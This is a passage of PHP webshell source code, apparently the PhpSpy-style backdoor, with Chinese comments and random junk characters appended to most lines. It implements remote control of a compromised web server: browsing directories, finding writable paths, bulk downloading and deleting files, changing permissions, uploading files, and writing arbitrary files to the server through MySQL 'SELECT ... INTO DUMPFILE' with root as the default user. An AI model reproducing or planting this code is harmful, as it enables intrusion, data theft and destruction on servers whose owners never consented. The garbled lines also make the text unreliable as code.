    : W9 o# [5 P5 N3 V+ c& c3 g5 Y. X& p# U4 p5 I
  328.                 }
    . ?% ?& g: |  [7 R* ~1 V" ~
  329.         }
    4 G  h" |& i/ \% w+ l
  330. , B) U6 P; s. n0 B: T1 Z
  331.         // 打包下载
    ) [' z/ q0 ^$ L/ J. e
  332.         elseif($doing == 'downrar') {( \+ k0 J0 V* R" |, t  P! N/ M$ g
  333.                 if ($dl) {
    ( x# F) p  f! X+ W' N
  334.                         $dfiles='';
    4 y7 i( i" K$ S: a6 q! K( ]
  335.                         foreach ($dl as $filepath => $value) {
    ; {( h; R6 E3 n- F2 ^( v
  336.                                 $dfiles.=$filepath.',';6 _5 X% L$ B7 a/ C1 b1 S5 }  b5 P
  337.                         }8 L- U/ v! p+ B- S0 Z, n
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);: o8 p& y1 q% R  s- @$ `, H: u0 F
  339.                         $dl=explode(',',$dfiles);
    0 d) U! S# h" h  ?% |9 Z2 r: v# z2 m
  340.                         $zip=new PHPZip($dl);  v4 P, Q& x( R2 \& t
  341.                         $code=$zip->out;, }/ D1 o, D% Q) f2 I5 X0 t! i
  342.                         header('Content-type: application/octet-stream');' V2 w5 s) o2 Q, b  _/ Z
  343.                         header('Accept-Ranges: bytes');' C/ g, f3 p/ ?! ]$ Y) v
  344.                         header('Accept-Length: '.strlen($code));3 L( J- t% a2 a4 [. r& c/ W
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');- \! u0 s4 s4 x3 o' p5 D
  346.                         echo $code;
    & u1 U  P  T# k& m
  347.                         exit;: Y  M  j- U+ l9 g
  348.                 } else {
    ) ~1 u5 J  U7 i: e# I1 I
  349.                         m('Please select file(s)');
    * K1 `: T; u  g! P
  350.                 }4 ]( M3 t' B3 T) M
  351.         }
    * {' q% J* x, P( e1 z

  352. 4 f! }6 e0 l7 k5 ?( d
  353.         // 批量删除文件
    1 X% |! W+ \. C9 Z- ]! \
  354.         elseif($doing == 'delfiles') {  l6 k" x. D, O( ^; B
  355.                 if ($dl) {* g; M; X6 w  s: y: ]& B
  356.                         $dfiles='';/ j1 g3 A8 j7 Z- C3 i
  357.                         $succ = $fail = 0;% B6 f- D8 }; F' _8 y
  358.                         foreach ($dl as $filepath => $value) {
    - r" I8 s" |: I$ X
  359.                                 if (@unlink($filepath)) {  g( v7 r# S# }7 }( g6 t' f5 D+ B6 @
  360.                                         $succ++;
    : G4 V+ y0 p1 X( ?0 d( l
  361.                                 } else {
    # A- b; Q5 K$ P5 ~, j
  362.                                         $fail++;
    0 d( F4 M0 P" o6 U4 F
  363.                                 }
    ( p" ?* D- `- `# A2 [* r( Q& G, N8 |
  364.                         }" L8 `0 a) n. C0 I+ u
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
    0 T' X. n7 x: R
  366.                 } else {; A" q9 X. s2 H5 M1 [
  367.                         m('Please select file(s)');! c5 V1 t: B# p2 F' ~6 A; B7 @
  368.                 }5 X/ i6 n8 A6 C0 w/ C
  369.         }
    ' i, Q7 u/ u1 G3 _& P

  370. 3 _7 B0 l6 F% H* ^
  371.         //操作完毕7 h, F5 N& A( C( N3 X. |+ F
  372.         formhead(array('name'=>'createdir'));
    + {0 L% f! ?$ t
  373.         makehide('newdirname');
    " c3 _4 ?) C  N# B
  374.         makehide('dir',$nowpath);& K5 N. j; C, w) d! }
  375.         formfoot();
    2 u5 L2 l3 p  F$ k
  376.         formhead(array('name'=>'fileperm'));2 \! r( e) l7 L+ z6 \$ N2 B
  377.         makehide('newperm');
    # d! k# u: y2 k7 e1 J6 q; g3 [
  378.         makehide('pfile');
      m. y/ Q7 R' ]1 j
  379.         makehide('dir',$nowpath);
    ; m+ q4 L* U+ B; u7 }
  380.         formfoot();& ?! n! `7 S% [0 R8 S' b( o8 J2 J6 ?
  381.         formhead(array('name'=>'copyfile'));. z* L! b  B) e7 N& O8 `2 ~5 n
  382.         makehide('sname');3 t6 m3 e  {% V" {1 N4 T9 T- V3 {
  383.         makehide('tofile');
    # w* f: z. C+ X! l0 W4 N, Y
  384.         makehide('dir',$nowpath);* K. M( f: ?8 a2 Y7 e; v
  385.         formfoot();1 d- D7 f! r% ]7 o) `& c
  386.         formhead(array('name'=>'rename'));8 G( F2 m( q, @' x( Q1 w
  387.         makehide('oldname');3 Z# I4 e3 E- K
  388.         makehide('newfilename');$ K! j6 ~1 s& P8 f
  389.         makehide('dir',$nowpath);# N' G6 ]) m" l' B- o( K% t/ u
  390.         formfoot();; S6 ]$ K% n0 i5 t) W
  391.         formhead(array('name'=>'fileopform'));6 s9 C" `" z3 Y- |# w% `
  392.         makehide('action');" N8 U2 v2 g4 z+ M5 O
  393.         makehide('opfile');
    / q) s" R& g/ n. k, B4 c/ `: k
  394.         makehide('dir');' }* |% w$ c8 f, e! {; k7 d
  395.         formfoot();% x8 X" ]1 G2 S: }# g! a. h' Z

  396. # _. _* B, c" H
  397.         $free = @disk_free_space($nowpath);
    - i8 U" [+ N# Z6 z
  398.         !$free && $free = 0;/ y3 ]' v: Q8 L
  399.         $all = @disk_total_space($nowpath);
    8 _* \) T; f6 o9 d2 U  s  i1 R
  400.         !$all && $all = 0;! t+ i& F, Z' B
  401.         $used = $all-$free;
    ) A8 e0 o8 F" x% H: k# m' _
  402.         $used_percent = @round(100/($all/$free),2);
    - B* v( [3 v$ Q7 ]! P: w
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
    & C1 ?! C5 s+ Y6 D  [- ?
  404. % ]$ T; M& K) b$ o3 C8 U! @
  405. ?>
    ( J. c. v+ e" f. k8 |1 Z
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
    # t& q# \1 W, {- r6 p9 U4 ?6 \
  407.   <form action="" method="post" id="godir" name="godir">$ `2 ^  `! I/ @
  408.   <tr>
    3 c3 g  z" a4 v1 }  ~' V
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
    % I/ ^2 y+ y3 ^
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    0 @) C+ ]/ `3 l2 r: t: W& y
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>* t; C1 c" \. F. @
  412.   </tr>
    % c' i: q5 [/ Q! P& n7 N
  413.   </form>
    % b2 k! H* n5 N. w. j9 ]2 D
  414. </table>4 e% k5 g2 Q( P+ P
  415. <script type="text/javascript"># {( g& s6 U( \: v  ]7 S
  416. function createdir(){
    ; c6 h; i7 d: w" E' ]  q9 J
  417.         var newdirname;' `4 Y0 G: x6 B& ?3 Y6 V* g* ^+ x3 O
  418.         newdirname = prompt('Please input the directory name:', '');
    1 ]* a/ @5 r" v, `, V: F
  419.         if (!newdirname) return;
    ; {: n$ K1 L+ M3 q4 O8 W5 o
  420.         $('createdir').newdirname.value=newdirname;
    8 h7 \( Y& K, ~! C; v+ Y% U) c
  421.         $('createdir').submit();
    % r; e! O- c0 z# v4 c8 E3 j
  422. }; @: @5 \4 P3 d3 N- V
  423. function fileperm(pfile){
    # |+ q2 x" p9 t, A) K
  424.         var newperm;
    ' _$ Q- u2 H' S( i" Z. g! u
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
    1 W) T( _. w5 W( n1 X, E, W) O
  426.         if (!newperm) return;6 M# Q+ ?0 u2 x
  427.         $('fileperm').newperm.value=newperm;% n' p; Y4 v1 R! m
  428.         $('fileperm').pfile.value=pfile;! P7 ^5 i2 X) {$ ]$ w% S1 Q
  429.         $('fileperm').submit();5 K/ k6 Q, Q4 d
  430. }
    6 [! o1 M/ e2 A+ j. r0 S1 H
  431. function copyfile(sname){
    5 [* Y1 Y# @- P4 U* X
  432.         var tofile;
    7 o8 z) K9 O  Z1 @7 K% D+ l
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');9 B3 I1 s7 ]9 \6 @# Y6 {
  434.         if (!tofile) return;
    4 ?, z/ N0 X, c: S
  435.         $('copyfile').tofile.value=tofile;! ~" i- A* _" u, j8 A) n; F4 |: W
  436.         $('copyfile').sname.value=sname;
    & u. G8 i! v# Z. t; i, I+ e% @
  437.         $('copyfile').submit();
    ! k" u3 o2 m8 d  n
  438. }* _" M  [" b$ t8 J: Y
  439. function rename(oldname){4 J, b) A/ D. {+ d& o
  440.         var newfilename;! Q  q: h6 M3 u8 a
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
    7 v6 i0 i. U4 S$ e; d  }6 `1 c: e
  442.         if (!newfilename) return;: f$ f0 B& _# H/ r# _* C
  443.         $('rename').newfilename.value=newfilename;
    ' v# I1 r& m# X/ i
  444.         $('rename').oldname.value=oldname;
    ! v! J- M" c2 Q: L- I
  445.         $('rename').submit();+ n& x" N$ a7 _8 G( T" E: \
  446. }# p' L$ o) P- C9 F: C' J# w  J
  447. function dofile(doing,thefile,m){
    ) w7 z* i) k% q. Q" b
  448.         if (m && !confirm(m)) {) s* U) d& B  d6 E- I
  449.                 return;
    # K7 C2 u( @* L8 P
  450.         }5 h  ^4 \  {9 B) ]! }
  451.         $('filelist').doing.value=doing;
    , b) U) J4 G' b3 x( p) ^
  452.         if (thefile){
    ! e4 W1 n# }+ Z1 B) _
  453.                 $('filelist').thefile.value=thefile;
    $ C7 n! r4 W# A, q) i! ?/ K, ?
  454.         }
    ! v2 R1 A- r9 D8 X" {7 J2 ]2 R
  455.         $('filelist').submit();
    7 L( c) i. U7 \5 V
  456. }5 c/ p. T' @( Z/ ^/ l% z& p  Z
  457. function createfile(nowpath){
      D8 ~5 D: {+ f6 z3 {4 M
  458.         var filename;6 ~- U  T9 d, j& Z
  459.         filename = prompt('Please input the file name:', '');2 r  a  n6 [& B
  460.         if (!filename) return;, B4 m, E+ O3 ^9 s7 d
  461.         opfile('editfile',nowpath + filename,nowpath);8 N* L3 u4 f, ]" x
  462. }
    1 u7 s6 ^9 `/ p4 |! S0 R8 e7 ?
  463. function opfile(action,opfile,dir){
    & H) P+ s5 i) ?0 I
  464.         $('fileopform').action.value=action;- {( F. s. y) i# c* ?+ f
  465.         $('fileopform').opfile.value=opfile;; \, K/ h% t+ L' o% j$ l4 ]4 L9 e- B
  466.         $('fileopform').dir.value=dir;
    7 `8 A3 ^4 S. ^" q
  467.         $('fileopform').submit();
    ) m) L" \6 m3 {9 N1 [& M/ s4 |1 v4 t
  468. }) G: Z( x0 x3 S) v- _3 e% R2 `
  469. function godir(dir,view_writable){" e3 \; e( L/ D2 u9 R
  470.         if (view_writable) {
    & d- A4 D3 r$ _
  471.                 $('godir').view_writable.value=1;& B3 I0 ?1 V" w  F6 v' Z2 V
  472.         }
    , Z; m4 e5 T! C& W7 X2 L
  473.         $('godir').dir.value=dir;
    6 `2 X" t9 ?/ a+ p1 G& v8 v
  474.         $('godir').submit();
    ' a0 k: q+ x" h) Z6 l
  475. }
    $ v1 X" {4 p% v9 m2 ]: z# O# H
  476. </script>
    ' R1 x) X& Z/ I
  477.   <?php) c2 x$ j* W$ i2 h# _1 s9 L! ^$ E
  478.         tbhead();' k; Z. ~9 w+ Q' B5 b: G! `3 i
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');! c( |& y( E# y, m/ q  f, O. E
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
    2 b" z! ?* q3 q# n7 o; g
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
    - K% S& Z2 a5 c
  482.         if ($view_writable) {
    8 H+ Y) a( ^+ Q; d) \8 Q
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
    & g8 ~  O9 n2 C2 T7 B$ s
  484.         } else {! y3 @- e/ p' {1 Y: s4 G7 J
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
    ; a0 i3 C7 F7 i  k( P" O
  486.         }
    4 L1 x- V) v& C5 G+ B( _3 o
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');, f8 J3 ?* o* {
  488.         if (IS_WIN && IS_COM) {
    + n7 G# F( l4 H
  489.                 $obj = new COM('scripting.filesystemobject');
    ' f0 ]3 Q9 I+ [, I# f  Z9 o5 k
  490.                 if ($obj && is_object($obj)) {
    + _' T4 v+ Q/ D/ u6 N
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
    7 U  L- Q" O$ c  _/ ~/ m
  492.                         foreach($obj->Drives as $drive) {: R4 K/ T; Q$ u2 V, \8 P# I
  493.                                 if ($drive->DriveType == 2) {' U$ p1 \; S. o
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'3 A$ d1 m* x( i$ v& f' Q* b2 l/ F
  495. Free:'.sizecount($drive->FreeSpace).'1 C9 H; H" q/ F( N) a2 z
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    9 U' k; s  _. v
  497.                                 } else {3 ~  J" _2 I- e, c9 d' M
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    : T3 V- K- R; c. @9 v1 E; o! b
  499.                                 }, [! v4 o: [8 y
  500.                         }$ U* L" V) R$ y, i; E* N5 F
  501.                 }+ V/ h1 n& H' |' @
  502.         }
    ' o1 M4 r. f9 s( E
  503. ) r3 L' R+ ^& n+ o% Y9 J, C2 Q/ }
  504.         p('</td></tr></form>');# _0 F3 m3 `0 z6 c* Q

  505.   R/ R. j( e( g* }/ U1 z; F7 w
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
    7 i' l5 x6 ]0 I7 f3 R
  507. 5 R: ~' a2 a/ i5 s
  508.         //查看所有可写文件和目录
    4 m3 X1 M1 I$ N" n, q
  509.         $dirdata=array();7 B4 \3 {9 p' K* r( `
  510.         $filedata=array();
    3 Z) ?& D8 I# j: Y4 v  }3 C# q
  511. 7 R, t2 G1 T3 n% f! @/ s
  512.         if ($view_writable) {: y8 `! i% z5 p4 |3 U
  513.                 $dirdata = GetList($nowpath);/ H, r- B' l7 @3 c! U# y9 ~5 Q" \4 @+ H9 E
  514.         } else {+ n0 N. V- O) Z+ p" }% }
  515.                 // 目录列表3 E( s! [& n% H& M
  516.                 $dirs=@opendir($dir);
    0 M3 t' c5 T9 v9 a7 b. C6 K
  517.                 while ($file=@readdir($dirs)) {
    & g; I) j5 ]  m  b  _) [, [4 v
  518.                         $filepath=$nowpath.$file;8 ~6 c$ v) w6 g7 n3 D: u
  519.                         if(@is_dir($filepath)){
    & ?  P! g# d8 s3 P
  520.                                 $dirdb['filename']=$file;
    % a/ }) @) Z% B9 n4 U, v
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));8 H; S- I, |! D
  522.                                 $dirdb['dirchmod']=getChmod($filepath);7 c' L" w$ q) Y# G
  523.                                 $dirdb['dirperm']=getPerms($filepath);
    0 c% j: @8 s' k6 X7 T/ T+ j6 k* G
  524.                                 $dirdb['fileowner']=getUser($filepath);
    , L6 ]' A4 X$ |1 o
  525.                                 $dirdb['dirlink']=$nowpath;) p8 x5 {& y8 U5 {  b. f9 T
  526.                                 $dirdb['server_link']=$filepath;8 E9 b: L4 [1 Q' b- `3 l' p. y: c
  527.                                 $dirdb['client_link']=ue($filepath);
    & J6 P& o# ?2 H7 O% s
  528.                                 $dirdata[]=$dirdb;9 ]3 Q9 Q1 q2 m2 `1 b) A1 |
  529.                         } else {               
    1 r( d3 I! }) C
  530.                                 $filedb['filename']=$file;
    " h1 Z+ p, |/ D8 d7 @4 P7 T
  531.                                 $filedb['size']=sizecount(@filesize($filepath));/ H% d' o8 m9 f4 Y( e6 y
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    5 j/ c/ I1 Y) i2 y# a9 X
  533.                                 $filedb['filechmod']=getChmod($filepath);& ~6 J7 v7 \! L5 Q+ M/ q
  534.                                 $filedb['fileperm']=getPerms($filepath);- E$ t: a+ M$ a" S$ Y& y# N
  535.                                 $filedb['fileowner']=getUser($filepath);0 \4 ^$ ?  l9 J* m* n. A5 m, [
  536.                                 $filedb['dirlink']=$nowpath;8 f3 v5 T3 }) L- K: D/ p
  537.                                 $filedb['server_link']=$filepath;+ o1 g/ Y8 F; x; f' P" J
  538.                                 $filedb['client_link']=ue($filepath);" X% n7 S! m; |  T0 P3 F: E2 u
  539.                                 $filedata[]=$filedb;
    2 _, l3 A; d) d* e: @4 Q9 J
  540.                         }
    ! z7 I: S5 q2 p3 c
  541.                 }// while) }0 Z# [' @& U" g  \' n
  542.                 unset($dirdb);
    & S# `( T8 r# _+ ^1 P2 d  x2 ?
  543.                 unset($filedb);$ p0 Y# Z# W- H9 U+ ^+ v% v
  544.                 @closedir($dirs);2 \# F% v8 W$ E4 g; T' c
  545.         }) O7 y+ N# f8 K( f0 h/ I6 T
  546.         @sort($dirdata);
      B, {$ f) X% x+ C0 ~9 P# S# i
  547.         @sort($filedata);
    4 ?! ^$ m  ^* ~' l/ j
  548.         $dir_i = '0';$ o3 n  Q7 U3 u5 E' ~0 i' b9 N6 V
  549.         foreach($dirdata as $key => $dirdb){: i, h6 H+ I9 a
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {; w" x& K+ x- e/ L7 d7 B
  551.                         $thisbg = bg();
    1 q' I  }: r6 n7 A1 E1 i$ `. d
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');$ W: y& C6 R) G- _& J7 |
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');. C2 \6 ]7 O' X/ J; [; ^
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
    + }+ P% A# R# U2 \9 F
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
    / ~% K: n; o0 g1 r7 ^# h' n' H9 ^
  556.                         p('<td nowrap>--</td>');2 v) W9 d" O+ ?! I
  557.                         p('<td nowrap>');
    0 d# ^8 {( K" r8 a" F: X
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
    1 L; ]  e+ c% d. g, B5 k
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');, E6 {8 N( _- S
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');# @8 r  {/ _/ r* b5 l# o
  561.                         p('</tr>');& V3 I" M5 {. ]! H  R/ h
  562.                         $dir_i++;  K$ A" m# s5 v6 Z" J2 M  Z
  563.                 } else {: z  P$ I. ^6 E* U; S5 h
  564.                         if($dirdb['filename']=='..') {: H" B! Z  A9 n6 [% U
  565.                                 p('<tr class='.bg().'>');  L" D% K* }$ v  p1 v/ {; a, f
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
    : X( R2 F- ^' T3 J; I; W
  567.                                 p('</tr>');6 j& B/ \: _; z$ A3 F
  568.                         }
    % u: z9 l+ Y  J8 t, s' Y
  569.                 }2 [/ W) _% R& j3 y6 [7 n
  570.         }
    ' n$ ^8 G' J1 o# L; C( |1 U' q& {9 X
  571. + L/ \, Q; k  M& J  g9 q
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');7 v0 S: b6 T) E9 b9 r
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
      {: Z# N% X" g
  574.         makehide('action','file');
    " b  C' j1 R  N9 P) s
  575.         makehide('thefile');6 e& ~% L5 K% m2 u( z# f
  576.         makehide('doing');- v8 F6 F7 \' N4 z
  577.         makehide('dir',$nowpath);
    0 ?) J  I0 R5 K) A* s7 A
  578.         $file_i = '0';
      R& [/ V. V6 |" }+ I& a1 r
  579.         foreach($filedata as $key => $filedb){
    : ]5 E& b2 ?% v, Y3 Q! B- ~
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
    7 [7 Z# G, ?  F3 d3 m! ]
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);/ h3 ]) Y: S% q" ?  w" b( \; V
  582.                         $thisbg = bg();# Z3 _# f# j$ k9 h9 D
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
      a$ e- z/ I* ^- _
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
    $ y4 @+ Q9 Q4 w$ }
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
    6 h' X4 N" n, v) s% V7 t
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');( Q  f. a( D* c7 ^' h. n- w: X
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');
    6 G6 }, A; O: L! g; a4 }
  588.                         p('<td nowrap>');
    : z( [( W9 W& k  J* Z$ |
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
    . v8 X. ~' ?+ V# t
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');0 I2 R; p7 Z4 q5 M; f( F
  591.                         p('<td nowrap>');
    0 l+ f. O2 w+ S6 u3 D: |5 J* G
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
    , n0 t# @4 ^6 E
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
    9 M( M2 T: `; J! {. H
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
    1 j* m5 Y+ W: T. P
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
    7 q) U& Y; [! v: o% x8 a
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
    % m9 F) H2 d7 t. L" z  ^5 t' e
  597.                         p('</td></tr>');8 x# A6 X+ O: U* V- |. J3 D
  598.                         $file_i++;% |% C0 o2 ]4 o; p- z9 G' q
  599.                 }0 }8 d! _. @$ G  k5 z
  600.         }0 b' w6 E, {( X" P0 m
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
    + ^" }. Z; \& h
  602.         p('</form></table>');
    2 W! I/ @2 b, I' L1 |# w$ {
  603. }// end dir1 K* @* r# Q7 A2 Q5 p
  604. 4 @9 h4 O# A# f+ |7 o/ O: K- S
  605. elseif ($action == 'sqlfile') {" Y( z1 ?% A8 U0 M
  606.         if($doing=="mysqlupload"){
    $ {+ }# h( F! [  o' k1 s* j% M) L$ r
  607.                 $file = $_FILES['uploadfile'];0 O5 Q- L1 N8 P" Y  P8 x. z
  608.                 $filename = $file['tmp_name'];  f" m5 t. W# q0 C4 T+ c% w! K8 x
  609.                 if (file_exists($savepath)) {  b8 G; ^, q" W3 i/ e, z) z
  610.                         m('The goal file has already existed');
    9 M$ U# g5 w, ]4 }- b, I
  611.                 } else {
    & ?. n8 ~. r! S
  612.                         if(!$filename) {
    7 W3 g3 d/ F3 ]  S5 v
  613.                                 m('Please choose a file');
    4 t' i: ]) d7 V! X) o1 S0 H
  614.                         } else {/ X9 f, B" c1 m* Q) m
  615.                                 $fp=@fopen($filename,'r');- T, [4 D. ?9 Z# F) z& x
  616.                                 $contents=@fread($fp, filesize($filename));* T" U* ~' }+ B7 d5 s
  617.                                 @fclose($fp);
    9 v6 G1 j& u" D
  618.                                 $contents = bin2hex($contents);
    3 @8 s0 U) A, m  K- l* Z
  619.                                 if(!$upname) $upname = $file['name'];+ e: w) c9 Q0 l! F
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);) V) F$ p" ]* p) P( K" V2 l8 _
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
    1 ]; M7 T6 g) c- p* y
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
    ( P2 r4 u- }$ U, f( i! E7 c" Y
  623.                         }! `+ f" g4 P6 U
  624.                 }; o+ @. {0 S( X
  625.         }
    1 A# Y3 t9 V( {9 g9 f
  626. ?>
    ) G; p1 J: J+ y
  627. <script type="text/javascript">9 b* ?0 Z9 _/ X
  628. function mysqlfile(doing){
    " |! ^& S* j5 Q0 W8 E) S' K% Q8 u
  629.         if(!doing) return;
      n. y) ~& j  L& t( J
  630.         $('doing').value=doing;8 D6 e7 w4 a8 l2 g1 p
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;3 S9 n% c) @4 G/ z0 R( h  J. T
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
    2 Z* |/ E8 O% i$ q) }
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;& k: J; C' m1 M% M# u
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
      u9 x/ s+ Z2 J3 c
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
    2 A+ w/ S# u3 o7 \: ?: ~8 @0 A
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;1 z* d/ ~% ]+ M& o
  637.         $('mysqlfile').submit();9 Y) Q0 O! l9 B1 `) k* u
  638. }2 l% s  i  w) Z7 y" h8 X" U
  639. </script>
    7 y! e! h- F  \5 {+ B1 H$ G
  640. <?php
    9 c" g& N. M9 _4 ^7 s
  641.         !$dbhost && $dbhost = 'localhost';) G* ~/ J  ~0 ~0 ?  V6 X  x& e9 G
  642.         !$dbuser && $dbuser = 'root';9 ~) K: W# n' E* @3 u/ ~
  643.         !$dbport && $dbport = '3306';
    % Y4 ?1 A/ ^0 ~! L! m! T
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');6 j  D) E" P; V. o% t
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));! L  X2 R/ ]8 v6 H& U
  646.         makehide('action','sqlfile');8 C+ x$ H: t- T2 N! y
  647.         p('<p>');
    . C9 k1 Q- t2 n. C3 |' ?) f
  648.         p('DBHost:');
    . b/ |* M+ ?+ \, d4 s
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));. `2 _0 M0 O( K
  650.         p(':');% o$ H( {( Z0 U( |
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    . q5 S5 a; s- ^0 M
  652.         p('DBUser:');
    6 P' n: ~9 C7 e8 ~
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));) u! m0 b1 s! X& I' J
  654.         p('DBPass:');) P' E& ?2 {' a$ J( ~+ H
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));; C* k! U* T% I
  656.         p('DBName:');
      ?* l9 t  w$ \( e$ _2 Y
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));  ]1 F5 `" P# y5 g- T
  658.         p('DBCharset:');5 v$ w3 ]0 Q; o+ e- a5 ]4 y  U
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    1 h% L1 j+ b' ~1 q% _: m
  660.         p('</p>');. A. v. k- B1 x2 f8 b& x- k: r
  661.         formfoot();1 w# V. e8 f; m+ e9 \, M5 z
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    ( g5 ?. e, {# s- i# u* m' _  @
  663.         p('<h2>Upload file</h2>');6 L4 h+ i% e: Z! k5 R1 f! _
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');' M: K) r8 g6 T' n  ]2 e
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');' Q# R2 I* m$ n  ~& ^1 G
  666.         p('<h2>Download file</h2>');
